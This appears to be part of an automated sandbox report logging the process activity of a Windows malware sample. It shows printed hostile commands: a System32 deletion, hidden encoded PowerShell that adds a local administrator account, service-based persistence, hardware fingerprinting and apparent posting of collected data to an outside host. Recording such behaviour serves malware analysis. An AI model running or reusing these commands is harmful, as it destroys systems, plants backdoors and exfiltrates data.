HQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgb